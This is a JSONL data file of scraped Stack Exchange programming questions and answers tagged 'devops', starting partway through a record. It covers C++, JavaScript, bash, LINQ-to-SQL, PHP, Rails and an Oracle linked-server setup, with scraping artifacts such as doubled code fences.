to include in the \"packages\" list\n       options = {\"py2exe\":{\"packages\": [   \"pickle\",\n                                            \"csv\",\n                                            \"Tkconstants\",\n                                            \"Tkinter\",\n                                            \"tkFileDialog\",\n                                            \"pyexpat\",\n                                            \"xml.dom.minidom\",\n                                            \"win32pdh\",\n                                            \"win32pdhutil\",\n                                            \"win32api\",\n                                            \"win32con\",\n                                            \"subprocess\", \n                                        ]}} \n\n       )\n\nimport win32pdh\nimport win32pdhutil\nimport win32api\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.534378"}
{"id": "hf_698bf8a91a31", "question": "<p>Is it possible to forward declare an standard container in a header file?  For example, take the following code:</p>\n\n<pre><code>#include &lt;vector&gt;\n\nclass Foo\n{\nprivate:\n    std::vector&lt;int&gt; container_;\n    ...\n};\n</code></pre>\n\n<p>I want to be able to do something like this:</p>\n\n<pre><code>namespace std\n{\n    template &lt;typename T&gt; class vector;\n}\n\nclass Foo\n{\nprivate:\n    std::vector&lt;int&gt; container_;\n    ...\n};\n</code></pre>\n\n<p>Can this be done?</p>\n", "question_body": "", "answer": "I don't think so because the compiler would have no way of knowing how much space to allocate for the\n```\ncontainer_\n```\nobject. At best you could do:\n```\n```\nstd::vector<int> *container_;\n```\n```\nand new it in the constructor, since the compiler knows the size of a pointer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.559904"}
{"id": "hf_bddff7ad7880", "question": "<p>I just ran across the following error (and found the solution online, but it's not present in Stack Overflow):</p>\n\n<blockquote>\n  <p>(.gnu.linkonce.[stuff]): undefined\n  reference to [method] [object\n  file]:(.gnu.linkonce.[stuff]):\n  undefined reference to `typeinfo for\n  [classname]'</p>\n</blockquote>\n\n<p>Why might one get one of these \"undefined reference to typeinfo\" linker errors?</p>\n\n<p>(Bonus points if you can explain what's going on behind the scenes.)</p>\n", "question_body": "", "answer": "This occurs when declared (non-pure) virtual functions are missing bodies. In your class definition, something like:\n```\n```\nvirtual void foo();\n```\n```\nShould be defined (inline or in a linked source file):\n```\n```\nvirtual void foo() {}\n```\n```\nOr declared pure virtual:\n```\n```\nvirtual void foo() = 0;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.597646"}
{"id": "hf_95fb24d1d59a", "question": "<p>I have a gallery I quickly coded up for a small site, and under Firefox 3 and Safari 3 works fine. But when I test on my old best friend IE7, it seems to not fire the imageVar.onload = function() {  // code here }.. which I want to use to stop the load effect and load the image. </p>\n\n<p>Please bear in mind...</p>\n\n<ul>\n<li>I know the thumbnails are just scaled down version of the larger images. When the images are finalised by the client I am going to create proper thumbnails.</li>\n<li>This is my first attempt to try and get out of procedural JavaScript for the most part.. so please go easy and kindly let me know where my code sucks!</li>\n</ul>\n", "question_body": "", "answer": "Cross browser event support is not so straightforward due to implementation differences. Since you are using jQuery at your site, you are better off using its events methods to normalize browser support:\ninstead of:\n```\n```\nwindow.load = function(){ \n      //actions to be performed on window load\n }\n\n imageViewer.image.onload = function(){ \n     //actions to be performed on image load\n }\n```\n```\nDo:\n```\n```\n$(window).load(function(){ \n    //actions to be performed on window load\n});\n\n $(imageViewer.image).load(function(){ \n      //actions to be performed on image load\n });\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.647542"}
{"id": "hf_834120ba6178", "question": "<p>I have two directories in the same parent directory.  Call the parent directory <strong>base</strong> and the children directories <strong>alpha</strong> and <strong>bravo</strong>.  I want to replace <strong>alpha</strong> with <strong>bravo</strong>.  The simplest method is:</p>\n\n<pre><code>rm -rf alpha\nmv bravo alpha\n</code></pre>\n\n<p>The mv command is atomic, but the rm -rf is not.  Is there a simple way in bash to atomically replace <strong>alpha</strong> with <strong>bravo</strong>?  If not, is there a complicated way?</p>\n\n<p>ADDENDUM:</p>\n\n<p>By the by, it's not an insurmountable problem if the directory doesn't exist for a short period. There's only one place that tries to access alpha, and it checks if alpha exists before doing anything critical. If not, it gives an error message. But it would be nice if there was a way to do this. :) Maybe there's some way to modify the inodes directly, or something...</p>\n", "question_body": "", "answer": "I don't believe there's any atomic way to do this. Your best bet is to do something like this:\n```\n```\nmv alpha delme\nmv bravo alpha\nrm -rf delme\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.798935"}
{"id": "hf_39b8b28bccf9", "question": "<p>What's the general consensus?</p>\n\n<p>If you need to change the database after a given action, do you use an observer pattern and let the framework / application handle the update for you?  Or do you bypass the application and delegate the update to a database trigger?</p>\n\n<p>Obviously the trigger is faster, but is it worth it?</p>\n", "question_body": "", "answer": "As we use LINQ2SQL this task is quite easy to be acoomplished overriding the SubmitChanges() method. Our main goal is to do auditing in our tables. The code would like this:\n```\n```\n/// <summary>\n    /// Sends changes that were made to retrieved objects to the underlying database, \n    /// and specifies the action to be taken if the submission fails.\n    /// NOTE: Handling this event to easily perform Audit tasks whenever a table gets updated.\n    /// </summary>\n    /// <param name=\"failureMode\">The action to be taken if the submission fails. \n    /// Valid arguments are as follows:<see cref=\"F:System.Data.Linq.ConflictMode.FailOnFirstConflict\"/>\n    /// <see cref=\"F:System.Data.Linq.ConflictMode.ContinueOnConflict\"/></param>\n    public override void SubmitChanges(System.Data.Linq.ConflictMode failureMode)\n    {\n        //Updates\n        for (int changeCounter = 0; changeCounter < this.GetChangeSet().Updates.Count; changeCounter++)\n        {\n            object modifiedEntity = this.GetChangeSet().Updates[changeCounter];\n            SetAuditStamp(this, modifiedEntity, ChangeType.Update);\n        }\n\n        //Inserts\n        for (int changeCounter = 0; changeCounter < this.GetChangeSet().Inserts.Count; changeCounter++)\n        {\n            object modifiedEntity = this.GetChangeSet().Inserts[changeCounter];\n            SetAuditStamp(this, modifiedEntity, ChangeType.Insert);\n        }\n        base.SubmitChanges(failureMode);\n```\n```\nWe particulary don't like using triggers as they are always hidden into you DB and it makes hard to work out problems that may occur ... with having that into your code you just need to start debugging it to find out why something has failed for instance ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.874684"}
{"id": "hf_544115028edd", "question": "<p>in Web 2.0 applications many users usually want to stay logged in ('remember me' flag) and on the other hand their cookie can give access to very private data. Is there a way to prevent that somebody who steals the cookie - directly from the computer or via sniffing - can use the cookie to get access to the user's data? Always HTTPS is not an option.</p>\n\n<p>Thanks, Bernd</p>\n\n<p>[Edit] Connect the IP address to the cookie is not an option either.</p>\n", "question_body": "", "answer": "Store a cookie that is an obscure ID into your local server database. Do a server-side DB lookup based on the ID provided in the cookie.  Be sure to make the ID sufficiently complex that it cannot be easily guessed.  Map the ID to the IP Address of the user. If their IP changes, then force them to log in again, and create a new ID.\nOn second read, it sounds like you want a high level of security with your hands tied. The user must have the choice to remain logged in and thus increase his/her risk.  You can implement all the security in the world from the application's and server's point of view, but if the user forgets their laptop on a table in Tim Horton's (Canadian Starbucks), then none of it will do you any good.\nLeave the choice up to the user as to whether or not they remain logged in, and give them a warning about their information being at risk.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:08.947399"}
{"id": "hf_a6c6a7a6da0c", "question": "<p>I've got a few Unix shell scripts where I need to check that certain environment variables are set before I start doing stuff, so I do this sort of thing:</p>\n\n<pre><code>if [ -z \"$STATE\" ]; then\n    echo \"Need to set STATE\"\n    exit 1\nfi  \n\nif [ -z \"$DEST\" ]; then\n    echo \"Need to set DEST\"\n    exit 1\nfi\n</code></pre>\n\n<p>which is a lot of typing. Is there a more elegant idiom for checking that a set of environment variables is set?</p>\n\n<p>EDIT: I should mention that these variables have no meaningful default value - the script should error out if any are unset.</p>\n", "question_body": "", "answer": "```\n```\n${MyVariable:=SomeDefault}\n```\n```\nIf\n```\nMyVariable\n```\nis set and not null, it will reset the variable value (= nothing happens).\nElse,\n```\nMyVariable\n```\nis set to\n```\nSomeDefault\n```\n.\nThe above will attempt to execute\n```\n${MyVariable}\n```\n, so if you just want to set the variable do:\n```\n```\nMyVariable=${MyVariable:=SomeDefault}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.008620"}
{"id": "hf_99c602d7c240", "question": "<pre><code>public static IQueryable&lt;TResult&gt; ApplySortFilter&lt;T, TResult&gt;(this IQueryable&lt;T&gt; query, string columnName)\n  where T : EntityObject\n{\n  var param = Expression.Parameter(typeof(T), \"o\");\n  var body = Expression.PropertyOrField(param,columnName);\n\n  var sortExpression = Expression.Lambda(body, param);\n  return query.OrderBy(sortExpression);\n}\n</code></pre>\n\n<p>Because the type for OrderBy is not inferred from sortExpression I need to specify it something like this at run time:</p>\n\n<pre><code>var sortExpression = Expression.Lambda&lt;T, TSortColumn&gt;(body, param);\n</code></pre>\n\n<p>Or</p>\n\n<pre><code>return query.OrderBy&lt;T, TSortColumn&gt;(sortExpression);\n</code></pre>\n\n<p>I don't think this is possible however as TSortColumn can only be determined during runtime.</p>\n\n<p>Is there a way around this?</p>\n", "question_body": "", "answer": "It seems that\nthis\nis the way to do it, now to verify that:\n```\n```\n// ***** OrderBy(company => company) *****\n// Create an expression tree that represents the expression\n// 'whereCallExpression.OrderBy(company => company)'\nMethodCallExpression orderByCallExpression = Expression.Call(\n    typeof(Queryable),\n    \"OrderBy\",\n    new Type[] { queryableData.ElementType, queryableData.ElementType },\n    whereCallExpression,\n    Expression.Lambda<Func<string, string>>(pe, new ParameterExpression[] { pe }));\n// ***** End OrderBy *****\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.034566"}
{"id": "hf_57ab7dabee6f", "question": "<p>Can you program/configure Visual Studio to produce custom intellisense for your own server controls.</p>\n\n<p>eg can you get it to do this:</p>\n\n<p><a href=\"http://www.yart.com.au/test/vs.gif\" rel=\"nofollow noreferrer\">alt text http://www.yart.com.au/test/vs.gif</a></p>\n\n<p>for a tag of your own like:</p>\n\n<pre><code>&lt;MyCompany:MyTag ...\n</code></pre>\n", "question_body": "", "answer": "Bluevision have a nice plugin for Visual Studio to do this for you. Last time I looked, it was free. (yep, it's still free!)\nIntellisenseAttribute class allows you to specify members for which intellisense symbols will be generated.\nAbility to generate default intellisense symbols for assemblies when you don't have access to the source code.\nNEW Snaps right into the IDE so that intellisense generation can be automated during the build process.\nSupports two visual views: Full Mode and Skin Mode.\nFull source code.\nFREE!\nhttp://www.bluevisionsoftware.com/WebSite/ProductsAndServicesInfo.aspx?ID=9", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.059436"}
{"id": "hf_d8707038221e", "question": "<p>With code like the following, sometimes the child controls correctly finish their animation and sometimes they stop at random places in the middle.  Why don't they work correctly?</p>\n\n<pre><code>var t:Tween;\nt = new Tween(child1,\"x\",Elastic.easeOut,0,100,2,true);\nt = new Tween(child1,\"y\", Elastic.easeOut,0,100,2,true);\nt = new Tween(child2,\"x\",Strong.easeOut,300,400,1,true);\nt = new Tween(child2,\"y\", Strong.easeOut,300,400,1,true);\n</code></pre>\n", "question_body": "", "answer": "Each tween must be assigned to a separate variable in global scope.  The following code behaves reliably:\n```\n```\nvar t1:Tween = new Tween(child1,\"x\",Elastic.easeOut,0,100,2,true);\nvar t2:Tween = new Tween(child1,\"y\", Elastic.easeOut,0,100,2,true);\nvar t3:Tween = new Tween(child2,\"x\",Strong.easeOut,300,400,1,true);\nvar t4:Tween = new Tween(child2,\"y\", Strong.easeOut,300,400,1,true);\n```\n```\nIt would appear that when a variable is re-used, the tween that is no longer referenced may get garbage collected or otherwise halted in the middle of its work.\nThe same problem can occur if you use separate variables but declare them in the local scope of a function instead of in the global scope of your frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.084842"}
{"id": "hf_9fc79e53f092", "question": "<p>Relatively new to rails and trying to model a very simple family \"tree\" with a single Person model that has a name, gender, father_id and mother_id (2 parents). Below is basically what I want to do, but obviously I can't repeat the :children in a has_many (the first gets overwritten).</p>\n\n<pre><code>class Person &lt; ActiveRecord::Base\n  belongs_to :father, :class_name =&gt; 'Person'\n  belongs_to :mother, :class_name =&gt; 'Person'\n  has_many :children, :class_name =&gt; 'Person', :foreign_key =&gt; 'mother_id'\n  has_many :children, :class_name =&gt; 'Person', :foreign_key =&gt; 'father_id'\nend\n</code></pre>\n\n<p>Is there a simple way to use has_many with 2 foreign keys, or maybe change the foreign key based on the object's gender? Or is there another/better way altogether?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I believe you can achieve the relationships you want using :has_one.\n```\n```\nclass Person < ActiveRecord::Base\n  has_one :father, :class_name => 'Person', :foreign_key => 'father_id'\n  has_one :mother, :class_name => 'Person', :foreign_key => 'mother_id'\n  has_many :children, :class_name => 'Person'\nend\n```\n```\nI'll confirm and edit this answer after work ; )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.148268"}
{"id": "hf_8e946b83e162", "question": "<p>I keep seeing people say that exceptions are slow, but I never see any proof. So, instead of asking if they are, I will ask how do exceptions work behind the scenes, so I can make decisions of when to use them and whether they are slow.</p>\n\n<p>From what I know, exceptions are the same as doing a return bunch of times, except that it also checks after each return whether it needs to do another one or to stop. How does it check when to stop returning? I guess there is a second stack that holds the type of the exception and a stack location, it then does returns until it gets there. I am also guessing that the only time this second stack is touched is on a throw and on each try/catch. AFAICT implementing a similar behaviour with return codes would take the same amount of time. But this is all just a guess, so I want to know what really happens.</p>\n\n<p>How do exceptions really work?</p>\n", "question_body": "", "answer": "There are a number of ways you could implement exceptions, but typically they will rely on some underlying support from the OS.  On Windows this is the structured exception handling mechanism.\nThere is decent discussion of the details on Code Project:\nHow a C++ compiler implements exception handling\nThe overhead of exceptions occurs because the compiler has to generate code to keep track of which objects must be destructed in each stack frame (or more precisely scope) if an exception propagates out of that scope.  If a function has no local variables on the stack that require destructors to be called then it should not have a performance penalty wrt exception handling.\nUsing a return code can only unwind a single level of the stack at a time, whereas an exception handling mechanism can jump much further back down the stack in one operation if there is nothing for it to do in the intermediate stack frames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.197422"}
{"id": "hf_1b05614be746", "question": "<p>I was wondering if there's a way I can automate the generation of XML files from XSD schemas given that I have the data and the labels. I'd like to do this in python/java. It seems very possible, yet I can't find any library that allows me to do this. I'm looking for a fairly quick solution..\nAny ideas?</p>\n\n<blockquote>\n  <p>See also: <a href=\"https://stackoverflow.com/questions/17106/how-to-generate-sample-xml-documents-from-their-dtd-or-xsd/730208#730208\">how-to-generate-sample-xml-documents-from-their-dtd-or-xsd</a></p>\n</blockquote>\n", "question_body": "", "answer": "JAXB\nworks fantastic for generating classes from xsd.\nIbatis\nworks fantastic for getting data into classes.\nYou can use Ibatis to feed data and automatically create classes, then use JAXB to marshal the classes into an XML file! Mind you, that's a lot of effort if you're not going to be doing it over and over again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.228534"}
{"id": "hf_eb6f689e88f1", "question": "<p>I'm writing some RSS feeds in PHP and stuggling with character-encoding issues. Should I utf8_encode() before or after htmlentities() encoding? For example, I've got both ampersands and Chinese characters in a description element, and I'm not sure which of these is proper:</p>\n\n<pre><code>$output = utf8_encode(htmlentities($source)); or\n$output = htmlentities(utf8_encode($source));\n</code></pre>\n\n<p>And why?</p>\n", "question_body": "", "answer": "You want to do\n```\n$output = htmlentities(utf8_encode($source));\n```\n.  This is because you want to convert your international characters into proper UTF8 first, and then have ampersands (and possibly some of the UTF-8 characters as well) turned in to HTML entities.  If you do the entities first, then some of the international characters may not be handled properly.\nIf none of your international characters are going to be changed by utf8_encode, then it doesn't matter which order you call them in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.276450"}
{"id": "hf_cfebde31c643", "question": "<p>I am able to create and execute a DTS package that copies tables from a remote Oracle database to a local SQL server, but want to setup the connection to the Oracle database as a linked server.</p>\n\n<p>The DTS package currently uses the <em>Microsoft OLE DB Provider for Oracle</em> with the following properties:</p>\n\n<ul>\n<li>Data Source: <code>SERVER=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.3.42)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=acc)));uid=*UserName*;pwd=*UserPassword*;</code></li>\n<li>Password: <em>UserPassword</em></li>\n<li>User ID: <em>UserName</em></li>\n<li>Allow saving password: true</li>\n</ul>\n\n<p>How do I go about setting a linked server to an Oracle database using the data source defined above?</p>\n", "question_body": "", "answer": "I was able to setup a linked server to a remote Oracle database, which ended up being a multi-step process:\nInstall Oracle ODBC drivers on SQL Server.\nCreate System DSN to Oracle database on SQL Server.\nCreate linked server on SQL server using System DSN.\nStep 1: Install Oracle ODBC drivers on server\na. Download the necessary\nOracle Instant Client\npackages: Basic, ODBC, and SQL*Plus (optional)\nb. Unzip the packages to a local directory on the SQL server, typically\n```\nC:\\Oracle\n```\n. This should result in a [directory] like\n```\nC:\\Oracle\\instantclient_10_2\n```\n, which will be the value of [directory] referenced in the rest of this answer.\nc. Create a text file named\n```\ntnsnames.ora\n```\nwithin the instant client [directory] that contains the following:\n```\n```\nOracleTnsName = \n(\n  DESCRIPTION=\n  (\n    ADDRESS = (PROTOCOL=TCP)(HOST=10.1.3.42)(PORT=1521)\n  )\n  (\n    CONNECT_DATA = (SERVICE_NAME=acc)\n  )\n)\n```\n```\nNote: Actual\n```\nHOST\n```\n,\n```\nPORT\n```\n, and\n```\nSERVICE_NAME\n```\nwill vary based on Oracle server you are establishing a connection to. This information can often be found using the Oracle network client tools under the\nlisteners\n.\nThe\n```\nOracleTnsName\n```\ncan be any name you want to assign to the Oracle data source, and will be used when setting up the system DSN. You can also use the syntax above to define multiple TNS names in the same\ntnsnames.ora\nfile if desired.\nd. Add the [directory] to the system\n```\nPATH\n```\nenvironment variable.\ne. Create a new system environment variable named\n```\nTNS_Admin\n```\nthat has a value of [directory]\nf. Execute the\n```\n[directory]\\odbc_install.exe\n```\nutility to install the Oracle ODBC drivers.\ng. It is recommended that you reboot the SQL server, but may not be necessary. Also, you may want to grant security permissions to this directory for the SQL server and SQL agent user identities.\nStep 2: Create a System DNS that uses the Oracle ODBC driver\na. Open the\nODBC Data Source Administrator\ntool. [ Administrative Tools --> Data Sources (ODBC) ]\nb. Select the System DSN tab and then select the Add button.\nc. In the drivers list, select\nOracle in instantclient {version}\n. (e.g. 'Oracle in instantclient 10_2') and then select Finish button.\nd. Specify the following:\n```\nData Source Name\n```\n: {System DSN Name}\n```\nDescription\n```\n: {leave blank/empty}\n```\nTNS Service Name\n```\n: should have the\n```\nOracleTnsName\n```\nyou defined in the\n```\ntnsnames.ora\n```\nfile listed, select it as the value.\nUser ID\n: {Oracle user name}\ne. Select Test Connection button. You should be prompted to provide the {Oracle user password}. If all goes well the test will succeed.\nStep 3: Create linked server in SQL to the Oracle database\nOpen a query window in SQL server and execute the following:\n```\n```\nEXEC sp_addlinkedserver \n     @server        = '{Linked Server Name}'\n    ,@srvproduct    = '{System DSN Name}'\n    ,@provider      = 'MSDASQL'\n    ,@datasrc       = '{System DSN Name}'\n\nEXEC sp_addlinkedsrvlogin \n     @rmtsrvname    = '{Linked Server Name}'\n    ,@useself       = 'False'\n    ,@locallogin    = NULL\n    ,@rmtuser       = '{Oracle User Name}'\n    ,@rmtpassword   = '{Oracle User Password}'\n```\n```\nNote: The\n```\n{Linked Server Name}\n```\ncan be anything you want to use when referencing the Oracle server, but the\n```\n{System DNS Name}\n```\nmust\nmatch the name of the system DSN you created previously.\nThe\n```\n{Oracle User Name}\n```\nshould be the same as the User ID used by the system DSN, and the\n```\n{Oracle User Password}\n```\nshould be the same as you used to successfully test the ODBC connection. See\nKB 280106\nfor information on troubleshooting Oracle linked server issues.\nQuerying the Oracle linked server\nYou may use\nOPENQUERY\nto execute pass-through queries on the Oracle linked server, but be aware that for very large recordsets you may receive a\n```\nORA-01652\n```\nerror message if you specify a\n```\nORDER BY\n```\nclause in the pass-through query. Moving the\n```\nORDER BY\n```\nclause from the pass-through query to the outer select statement solved this issue for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.300664"}
{"id": "hf_8181d148a3ab", "question": "<p>How can I remove duplicate values from an array in PHP?</p>\n", "question_body": "", "answer": "Use\narray_unique()\n.\nExample:\n```\n```\n$array = array(1, 2, 2, 3);\n$array = array_unique($array); // Array is now (1, 2, 3)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.339316"}
{"id": "hf_cc9bab47441c", "question": "<p>I have a C#.net winform program which runs with a SQL Server database.  I am using LINQ-to-SQL.  Is it possible to rollback the call to one or more stored procedures inside a transaction within my program using LINQ-to-SQL?  </p>\n\n<p>Initially I thought it would make sense to manage the transaction inside the stored procedure but if I need to rollback more than one stored procedure call as part of a single transaction it would need to be done in my C# program.</p>\n\n<p>Can someone point me to a code snippet on how to do this or provide some insight into an alternative?</p>\n", "question_body": "", "answer": "Although I'm not using stored procs, you coudl have something like that:\n```\n```\npublic Response<SomeObject> SaveSomething(Object yourObject)\n    {\n        DbTransaction dbTransaction = null;\n        try\n        {\n            using (DataContext context = new DataContext())\n            {\n                    //Creates a new DB transaction\n                    if (context.Connection.State == System.Data.ConnectionState.Closed)\n                    {\n                        context.Connection.Open();\n                    }\n                    dbTransaction = context.Connection.BeginTransaction(System.Data.IsolationLevel.Serializable);\n                    context.Transaction = dbTransaction;\n\n         context.SaveYourObject(yourObject);\n                    //Commit the transaction\n                    dbTransaction.Commit();\n                    response.ResponseObject = yourObject;\n                    response.Messages.AddSuccessfulSave(\"Saved!\");\n                }\n            }\n        }\n        catch (ChangeConflictException cex)\n        {\n            if (dbTransaction != null) dbTransaction.Rollback();\n            response.Errors.AddConcurrencyError();\n            response.IsSuccessful = false;\n        }\n        catch (SqlException sqlEx)\n        {\n            if (dbTransaction != null) dbTransaction.Rollback();\n            if (sqlEx.Class == 14 && (sqlEx.Number == 2601 || sqlEx.Number == 2627)) //Duplicated key\n            {\n                response.Errors.Add(new Error\n                {\n                    Name = \"Duplicate item\",\n                    Description = \"This object already exists.\"\n                });\n                ExceptionPolicy.HandleException(sqlEx, SERVICE_EXCEPTION_POLICY);\n                response.IsSuccessful = false;\n            }\n            else //other SQL errors\n            {\n                response.Errors.AddSavingError(\"Your object\", yourObjectId);\n                ExceptionPolicy.HandleException(sqlEx, SERVICE_EXCEPTION_POLICY);\n                response.IsSuccessful = false;\n            }\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.376124"}
{"id": "hf_2c55a3fc2d98", "question": "<p>I find myself running scripts and copy-pasting the output of these runs into emails or into some other documents. Is there a way such that I can make the copy-to-clipboard step a part of the script itself? Most of my scripts are either Perl or bat files and I work on Windows. </p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Not sure about the clipboard but you can pipe the output to a text file but doing something like this:\n```\n```\nsomescript.bat > output.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.412953"}
{"id": "hf_b57f138637fd", "question": "<p>Say I have a user control like the one below, how would I bind something to the <code>ActualWidth</code> of the \"G1\" grid from outside of the control?</p>\n\n<pre><code>&lt;UserControl x:Class=\"Blah\"&gt;\n  &lt;WrapPanel&gt;\n    &lt;Grid x:Name=\"G1\"&gt;\n      ...\n    &lt;/Grid&gt;\n    &lt;Grid&gt;\n      ...\n    &lt;/Grid&gt;\n  &lt;/WrapPanel&gt;\n&lt;/UserControl&gt;\n</code></pre>\n", "question_body": "", "answer": "If you want to bind to an external control where you use this user control, declare a\n```\nDependencyProperty\n```\nat your UserControl code behind and then Bind G1 to that property.\nAnd bind the external control's property to the UserControl's\n```\nDependencyProperty\n```\n. \nIt is like a 2 level of indirection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.437089"}
{"id": "hf_0c1dfdf96dc0", "question": "<p>How can I remove duplicate values from a multi-dimensional array in PHP?</p>\n\n<p>Example array:</p>\n\n<pre><code>Array\n(\n    [0] =&gt; Array\n    (\n        [0] =&gt; abc\n        [1] =&gt; def\n    )\n\n    [1] =&gt; Array\n    (\n        [0] =&gt; ghi\n        [1] =&gt; jkl\n    )\n\n    [2] =&gt; Array\n    (\n        [0] =&gt; mno\n        [1] =&gt; pql\n    )\n\n    [3] =&gt; Array\n    (\n        [0] =&gt; abc\n        [1] =&gt; def\n    )\n\n    [4] =&gt; Array\n    (\n        [0] =&gt; ghi\n        [1] =&gt; jkl\n    )\n\n    [5] =&gt; Array\n    (\n        [0] =&gt; mno\n        [1] =&gt; pql\n    )\n\n)\n</code></pre>\n", "question_body": "", "answer": "The user comments on the\narray_unique()\ndocumentation have many solutions to this. Here is one of them:\nkenrbnsn at rbnsn dot com\n27-Sep-2005 12:09\nYet another Array_Unique for multi-demensioned arrays. I've only tested this on two-demensioned arrays, but it could probably be generalized for more, or made to use recursion.\nThis function uses the serialize, array_unique, and unserialize functions to do the work.\n```\n```\nfunction multi_unique($array) {\n    foreach ($array as $k=>$na)\n        $new[$k] = serialize($na);\n    $uniq = array_unique($new);\n    foreach($uniq as $k=>$ser)\n        $new1[$k] = unserialize($ser);\n    return ($new1);\n}\n```\n```\nThis is from\nhttp://ca3.php.net/manual/en/function.array-unique.php#57202\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:09.473410"}
